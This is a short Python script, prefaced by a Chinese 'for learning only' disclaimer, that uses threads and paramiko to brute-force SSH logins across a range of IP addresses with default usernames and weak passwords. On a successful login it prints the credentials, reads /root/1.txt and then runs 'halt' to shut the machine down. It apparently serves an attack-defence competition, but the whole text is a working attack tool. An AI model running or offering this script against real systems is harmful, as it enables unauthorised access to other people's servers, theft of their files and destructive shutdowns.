下面代码仅供学习参考，禁止用于其他非法途径

import threading
import paramiko
def con(host,user,passwd):
      try:
          s=paramiko.SSHClient()
          s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
          s.connect(hostname=host,username=user,password=passwd)
          print(host,user,passwd)
          a,b,c=s.exec_command("cat /root/1.txt")
          print(host+'  '+b.read().decode('utf-8'))
          s.exec_command("halt")
      except:
          pass
user=['admin','guest','root']
passwd=['654321','123456']
for i in range(10,40):
    ip='172.167.'+str(i)+'.250'
    for j in user:
      for k in passwd:
        t=threading.Thread(target=con,args=(ip,j,k))
        t.start()